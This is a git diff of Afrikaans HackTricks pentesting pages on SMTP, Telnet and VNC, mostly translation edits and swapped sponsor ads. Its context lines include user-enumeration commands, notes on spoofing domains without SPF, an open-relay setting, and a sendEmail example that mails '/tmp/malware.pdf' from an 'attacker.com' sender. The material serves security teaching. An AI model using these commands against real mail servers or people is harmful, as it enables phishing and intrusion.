openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
|
||||||
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
|
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
|
||||||
```
|
```
|
||||||
### Vind MX-bedieners van 'n organisasie
|
### Vind MX bedieners van 'n organisasie
|
||||||
```bash
|
```bash
|
||||||
dig +short mx google.com
|
dig +short mx google.com
|
||||||
```
|
```
|
||||||
|
@ -79,7 +81,7 @@ NTLM supported
|
||||||
```
|
```
|
||||||
Of **automate** dit met **nmap** plugin `smtp-ntlm-info.nse`
|
Of **automate** dit met **nmap** plugin `smtp-ntlm-info.nse`
|
||||||
|
|
||||||
### Interne bediener naam - Inligting openbaar
|
### Interne bediener naam - Inligting openbaarmaking
|
||||||
|
|
||||||
Sommige SMTP bedieners voltooi outomaties 'n sender se adres wanneer die opdrag "MAIL FROM" gegee word sonder 'n volledige adres, wat sy interne naam openbaar:
|
Sommige SMTP bedieners voltooi outomaties 'n sender se adres wanneer die opdrag "MAIL FROM" gegee word sonder 'n volledige adres, wat sy interne naam openbaar:
|
||||||
```
|
```
|
||||||
|
@ -169,17 +171,19 @@ Nmap: nmap --script smtp-enum-users <IP>
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksplorasie modules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## DSN Verslae
|
## DSN Verslae
|
||||||
|
|
||||||
**Afleweringsstatuskennisgewing Verslae**: As jy 'n **e-pos** na 'n organisasie stuur na 'n **ongeldige adres**, sal die organisasie jou in kennis stel dat die adres ongeldig was deur 'n **pos terug na jou** te stuur. **Koptekste** van die teruggestuurde e-pos sal **bevat** moontlike **sensitiewe inligting** (soos IP-adres van die posdienste wat met die verslae geinteraksie het of anti-virus sagteware inligting).
|
**Afleweringsstatuskennisgewingverslae**: As jy 'n **e-pos** na 'n organisasie stuur na 'n **ongeldige adres**, sal die organisasie jou in kennis stel dat die adres ongeldig was deur 'n **pos terug na jou** te stuur. **Koptekste** van die teruggestuurde e-pos sal **bevat** moontlike **sensitiewe inligting** (soos IP-adres van die posdienste wat met die verslae geinteraksie het of anti-virus sagteware inligting).
|
||||||
|
|
||||||
## [Opdragte](smtp-commands.md)
|
## [Opdragte](smtp-commands.md)
|
||||||
|
|
||||||
### Stuur 'n E-pos vanaf linux konsole
|
### Stuur 'n E-pos vanaf linux-konsol
|
||||||
```bash
|
```bash
|
||||||
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
||||||
Reading message body from STDIN because the '-m' option was not used.
|
Reading message body from STDIN because the '-m' option was not used.
|
||||||
|
@ -263,7 +267,7 @@ SPF [is "verouderd" in 2014](https://aws.amazon.com/premiumsupport/knowledge-cen
|
||||||
Boonop, om vorige spf rekords te hergebruik, is dit redelik algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind.
|
Boonop, om vorige spf rekords te hergebruik, is dit redelik algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Sender Policy Framework** (SPF) is 'n mechanisme wat Mail Transfer Agents (MTAs) in staat stel om te verifieer of 'n gasheer wat 'n e-pos stuur, geautoriseer is deur 'n lys van geautoriseerde e-pos bedieners wat deur die organisasies gedefinieer is, te vra. Hierdie lys, wat IP adresse/reekse, domeine, en ander entiteite **geautoriseer om e-pos namens 'n domeinnaam te stuur**, sluit verskeie "**Meganismes**" in die SPF rekord in.
|
**Sender Policy Framework** (SPF) is 'n mechanisme wat Mail Transfer Agents (MTAs) in staat stel om te verifieer of 'n gasheer wat 'n e-pos stuur, geoutoriseer is deur 'n lys van geoutoriseerde e-pos bedieners wat deur die organisasies gedefinieer is, te vra. Hierdie lys, wat IP adresse/reekse, domeine, en ander entiteite **geoutoriseer om e-pos namens 'n domeinnaam te stuur**, sluit verskeie "**Meganismes**" in die SPF rekord in.
|
||||||
|
|
||||||
#### Meganismes
|
#### Meganismes
|
||||||
|
|
||||||
|
@ -271,7 +275,7 @@ Van [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
|
||||||
|
|
||||||
| Meganisme | Beskrywing |
|
| Meganisme | Beskrywing |
|
||||||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| ALL | Pas altyd toe; gebruik vir 'n standaard resultaat soos `-all` vir alle IP's wat nie deur vorige meganismes pas nie. |
|
| ALL | Pas altyd; gebruik vir 'n standaard resultaat soos `-all` vir alle IP's wat nie deur vorige meganismes pas nie. |
|
||||||
| A | As die domeinnaam 'n adres rekord (A of AAAA) het wat na die sender se adres opgelos kan word, sal dit pas. |
|
| A | As die domeinnaam 'n adres rekord (A of AAAA) het wat na die sender se adres opgelos kan word, sal dit pas. |
|
||||||
| IP4 | As die sender in 'n gegewe IPv4 adres reeks is, pas. |
|
| IP4 | As die sender in 'n gegewe IPv4 adres reeks is, pas. |
|
||||||
| IP6 | As die sender in 'n gegewe IPv6 adres reeks is, pas. |
|
| IP6 | As die sender in 'n gegewe IPv6 adres reeks is, pas. |
|
||||||
|
@ -314,7 +318,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
|
||||||
```
|
```
|
||||||
Tradisioneel was dit moontlik om enige domeinnaam te spoof wat nie 'n korrekte/enige SPF rekord gehad het nie. **Tans**, as **e-pos** van 'n **domein sonder 'n geldige SPF rekord** kom, gaan dit waarskynlik **automaties verwerp/merk as onbetroubaar**.
|
Tradisioneel was dit moontlik om enige domeinnaam te spoof wat nie 'n korrekte/enige SPF rekord gehad het nie. **Tans**, as **e-pos** van 'n **domein sonder 'n geldige SPF rekord** kom, gaan dit waarskynlik **automaties verwerp/merk as onbetroubaar**.
|
||||||
|
|
||||||
Om die SPF van 'n domein te kontroleer, kan jy aanlyn gereedskap soos: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
Om die SPF van 'n domein te kontroleer, kan jy aanlyn gereedskap soos: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) gebruik.
|
||||||
|
|
||||||
### DKIM (DomainKeys Identified Mail)
|
### DKIM (DomainKeys Identified Mail)
|
||||||
|
|
||||||
|
@ -351,7 +355,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||||
| Tag Naam | Doel | Voorbeeld |
|
| Tag Naam | Doel | Voorbeeld |
|
||||||
| -------- | -------------------------------------------- | ------------------------------- |
|
| -------- | -------------------------------------------- | ------------------------------- |
|
||||||
| v | Protokol weergawe | v=DMARC1 |
|
| v | Protokol weergawe | v=DMARC1 |
|
||||||
| pct | Persentasie van boodskappe wat aan filtrering onderwerp word | pct=20 |
|
| pct | Persentasie van boodskappe wat gefiltreer word | pct=20 |
|
||||||
| ruf | Verslag URI vir forensiese verslae | ruf=mailto:authfail@example.com |
|
| ruf | Verslag URI vir forensiese verslae | ruf=mailto:authfail@example.com |
|
||||||
| rua | Verslag URI van aggregaatverslae | rua=mailto:aggrep@example.com |
|
| rua | Verslag URI van aggregaatverslae | rua=mailto:aggrep@example.com |
|
||||||
| p | Beleid vir organisatoriese domein | p=quarantine |
|
| p | Beleid vir organisatoriese domein | p=quarantine |
|
||||||
|
@ -363,13 +367,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||||
|
|
||||||
**Van** [**hier**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
**Van** [**hier**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||||
Jy moet aparte SPF-rekords hê vir elke subdomein waarvan jy e-pos wil stuur.\
|
Jy moet aparte SPF-rekords hê vir elke subdomein waarvan jy e-pos wil stuur.\
|
||||||
Die volgende is oorspronklik op openspf.org gepos, wat vroeër 'n uitstekende hulpbron vir hierdie soort dinge was.
|
Die volgende is oorspronklik op openspf.org gepos, wat eens 'n uitstekende hulpbron vir hierdie soort dinge was.
|
||||||
|
|
||||||
> Die Demon Vraag: Wat van subdomeine?
|
> Die Demon Vraag: Wat van subdomeine?
|
||||||
>
|
>
|
||||||
> As ek e-pos van pielovers.demon.co.uk ontvang, en daar is geen SPF-data vir pielovers nie, moet ek dan een vlak teruggaan en SPF vir demon.co.uk toets? Nee. Elke subdomein by Demon is 'n ander kliënt, en elke kliënt mag hul eie beleid hê. Dit sou nie sin maak dat Demon's beleid op al sy kliënte standaard van toepassing is nie; as Demon dit wil doen, kan dit SPF-rekords vir elke subdomein opstel.
|
> As ek e-pos van pielovers.demon.co.uk ontvang, en daar is geen SPF-data vir pielovers nie, moet ek dan een vlak teruggaan en SPF vir demon.co.uk toets? Nee. Elke subdomein by Demon is 'n ander kliënt, en elke kliënt mag hul eie beleid hê. Dit sou nie sin maak dat Demon's beleid op al sy kliënte standaard van toepassing is nie; as Demon dit wil doen, kan dit SPF-rekords vir elke subdomein opstel.
|
||||||
>
|
>
|
||||||
> So die advies aan SPF-uitgewers is die volgende: jy moet 'n SPF-rekord vir elke subdomein of gasheernaam wat 'n A of MX-rekord het, byvoeg.
|
> So die advies aan SPF-uitgewers is dit: jy moet 'n SPF-rekord vir elke subdomein of gasheernaam wat 'n A of MX-rekord het, byvoeg.
|
||||||
>
|
>
|
||||||
> Webwerwe met wildcard A of MX-rekords moet ook 'n wildcard SPF-rekord hê, van die vorm: \* IN TXT "v=spf1 -all"
|
> Webwerwe met wildcard A of MX-rekords moet ook 'n wildcard SPF-rekord hê, van die vorm: \* IN TXT "v=spf1 -all"
|
||||||
|
|
||||||
|
@ -379,7 +383,7 @@ Dit maak sin - 'n subdomein mag baie goed in 'n ander geografiese ligging wees e
|
||||||
|
|
||||||
Wanneer e-posse gestuur word, is dit van kardinale belang om te verseker dat hulle nie as spam gemerk word nie. Dit word dikwels bereik deur die gebruik van 'n **relay-server wat deur die ontvanger vertrou word**. 'n Algemene uitdaging is egter dat administrateurs dalk nie ten volle bewus is van watter **IP-reekse veilig is om toe te laat** nie. Hierdie gebrek aan begrip kan lei tot foute in die opstelling van die SMTP-server, 'n risiko wat gereeld in sekuriteitsassesseringe geïdentifiseer word.
|
Wanneer e-posse gestuur word, is dit van kardinale belang om te verseker dat hulle nie as spam gemerk word nie. Dit word dikwels bereik deur die gebruik van 'n **relay-server wat deur die ontvanger vertrou word**. 'n Algemene uitdaging is egter dat administrateurs dalk nie ten volle bewus is van watter **IP-reekse veilig is om toe te laat** nie. Hierdie gebrek aan begrip kan lei tot foute in die opstelling van die SMTP-server, 'n risiko wat gereeld in sekuriteitsassesseringe geïdentifiseer word.
|
||||||
|
|
||||||
'n Oplossing wat sommige administrateurs gebruik om e-posafleweringsprobleme te vermy, veral rakende kommunikasie met potensiële of lopende kliënte, is om **verbindinge van enige IP-adres toe te laat**. Dit word gedoen deur die SMTP-server se `mynetworks`-parameter te konfigureer om alle IP-adresse te aanvaar, soos hieronder getoon:
|
'n Oplossing wat sommige administrateurs gebruik om e-posafleweringsprobleme te vermy, veral rakende kommunikasie met potensiële of lopende kliënte, is om **verbindinge van enige IP-adres toe te laat**. Dit word gedoen deur die SMTP-server se `mynetworks` parameter te konfigureer om alle IP-adresse te aanvaar, soos hieronder getoon:
|
||||||
```bash
|
```bash
|
||||||
mynetworks = 0.0.0.0/0
|
mynetworks = 0.0.0.0/0
|
||||||
```
|
```
|
||||||
|
@ -585,7 +589,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Dadelijk beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksplorasie modules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -10,14 +10,16 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien aan die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -27,19 +29,19 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
Dit is die eerste SMTP-opdrag: dit begin die gesprek deur die sender bediener te identifiseer en word gewoonlik gevolg deur sy domeinnaam.
|
Dit is die eerste SMTP-opdrag: dit begin die gesprek deur die sender bediener te identifiseer en word gewoonlik gevolg deur sy domeinnaam.
|
||||||
|
|
||||||
**EHLO**\
|
**EHLO**\
|
||||||
'n Alternatiewe opdrag om die gesprek te begin, wat aandui dat die bediener die Extended SMTP-protokol gebruik.
|
‘n Alternatiewe opdrag om die gesprek te begin, wat aandui dat die bediener die Extended SMTP-protokol gebruik.
|
||||||
|
|
||||||
**MAIL FROM**\
|
**MAIL FROM**\
|
||||||
Met hierdie SMTP-opdrag begin die operasies: die sender verklaar die bron e-posadres in die “From” veld en begin werklik die e-pos oordrag.
|
Met hierdie SMTP-opdrag begin die operasies: die sender verklaar die bron e-posadres in die “From” veld en begin werklik die e-pos oordrag.
|
||||||
|
|
||||||
**RCPT TO**\
|
**RCPT TO**\
|
||||||
Dit identifiseer die ontvanger van die e-pos; as daar meer as een is, word die opdrag eenvoudig herhaal adres vir adres.
|
Dit identifiseer die ontvanger van die e-pos; as daar meer as een is, word die opdrag eenvoudig adres vir adres herhaal.
|
||||||
|
|
||||||
**SIZE**\
|
**SIZE**\
|
||||||
Hierdie SMTP-opdrag informeer die afstandbediener oor die geskatte grootte (in terme van bytes) van die aangehegte e-pos. Dit kan ook gebruik word om die maksimum grootte van 'n boodskap aan te dui wat deur die bediener aanvaar kan word.
|
Hierdie SMTP-opdrag informeer die afstandbediener oor die geskatte grootte (in terme van bytes) van die aangehegte e-pos. Dit kan ook gebruik word om die maksimum grootte van 'n boodskap wat deur die bediener aanvaar kan word, te rapporteer.
|
||||||
|
|
||||||
**DATA**\
|
**DATA**\
|
||||||
Met die DATA-opdrag begin die e-posinhoud oorgedra te word; dit word gewoonlik gevolg deur 'n 354 antwoordkode gegee deur die bediener, wat die toestemming gee om die werklike oordrag te begin.
|
Met die DATA-opdrag begin die e-posinhoud oorgedra te word; dit word gewoonlik gevolg deur 'n 354 antwoordkode wat deur die bediener gegee word, wat die toestemming gee om die werklike oordrag te begin.
|
||||||
|
|
||||||
**VRFY**\
|
**VRFY**\
|
||||||
Die bediener word gevra om te verifieer of 'n spesifieke e-posadres of gebruikersnaam werklik bestaan.
|
Die bediener word gevra om te verifieer of 'n spesifieke e-posadres of gebruikersnaam werklik bestaan.
|
||||||
|
@ -51,7 +53,7 @@ Hierdie opdrag word gebruik om rolle tussen die kliënt en die bediener om te dr
|
||||||
Met die AUTH-opdrag, autentiseer die kliënt homself by die bediener, deur sy gebruikersnaam en wagwoord te gee. Dit is 'n ander laag van sekuriteit om 'n behoorlike oordrag te waarborg.
|
Met die AUTH-opdrag, autentiseer die kliënt homself by die bediener, deur sy gebruikersnaam en wagwoord te gee. Dit is 'n ander laag van sekuriteit om 'n behoorlike oordrag te waarborg.
|
||||||
|
|
||||||
**RSET**\
|
**RSET**\
|
||||||
Dit kommunikeer aan die bediener dat die aanhoudende e-pos oordrag gaan beëindig word, alhoewel die SMTP gesprek nie gesluit sal word nie (soos in die geval van QUIT).
|
Dit kommunikeer aan die bediener dat die aanhoudende e-pos oordrag beëindig gaan word, alhoewel die SMTP-gesprek nie gesluit sal word nie (soos in die geval van QUIT).
|
||||||
|
|
||||||
**EXPN**\
|
**EXPN**\
|
||||||
Hierdie SMTP-opdrag vra om 'n bevestiging oor die identifikasie van 'n poslys.
|
Hierdie SMTP-opdrag vra om 'n bevestiging oor die identifikasie van 'n poslys.
|
||||||
|
@ -60,11 +62,13 @@ Hierdie SMTP-opdrag vra om 'n bevestiging oor die identifikasie van 'n poslys.
|
||||||
Dit is 'n kliënt se versoek om inligting wat nuttig kan wees vir 'n suksesvolle oordrag van die e-pos.
|
Dit is 'n kliënt se versoek om inligting wat nuttig kan wees vir 'n suksesvolle oordrag van die e-pos.
|
||||||
|
|
||||||
**QUIT**\
|
**QUIT**\
|
||||||
Dit beëindig die SMTP gesprek.
|
Dit beëindig die SMTP-gesprek.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -78,7 +82,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien aan die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,7 +17,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -35,13 +37,13 @@ Telnet is 'n netwerkprotokol wat gebruikers 'n ONveilige manier bied om toegang
|
||||||
```bash
|
```bash
|
||||||
nc -vn <IP> 23
|
nc -vn <IP> 23
|
||||||
```
|
```
|
||||||
Alle interessante enumerasie kan uitgevoer word deur **nmap**:
|
Alle interessante opsporing kan uitgevoer word deur **nmap**:
|
||||||
```bash
|
```bash
|
||||||
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||||
```
|
```
|
||||||
Die skrip `telnet-ntlm-info.nse` sal NTLM-inligting verkry (Windows weergawes).
|
Die skrip `telnet-ntlm-info.nse` sal NTLM-inligting verkry (Windows weergawes).
|
||||||
|
|
||||||
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-protokol is daar verskeie "**opsies**" wat goedgekeur sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener in staat te stel om saam te stem om 'n meer uitgebreide (of dalk net ander) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan insluit die verandering van die karakterstel, die echo-modus, ens.
|
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-protokol is daar verskeie "**opsies**" wat goedgekeur sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener in staat te stel om saam te stem om 'n meer uitgebreide (of dalk net verskillende) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan insluit die verandering van die karakterstel, die echo-modus, ens.
|
||||||
|
|
||||||
**Ek weet dit is moontlik om hierdie opsies te tel, maar ek weet nie hoe nie, so laat weet my as jy weet hoe.**
|
**Ek weet dit is moontlik om hierdie opsies te tel, maar ek weet nie hoe nie, so laat weet my as jy weet hoe.**
|
||||||
|
|
||||||
|
@ -87,7 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap en funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing- & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -1,23 +1,29 @@
|
||||||
# 5800,5801,5900,5901 - Pentesting VNC
|
# 5800,5801,5900,5901 - Pentesting VNC
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
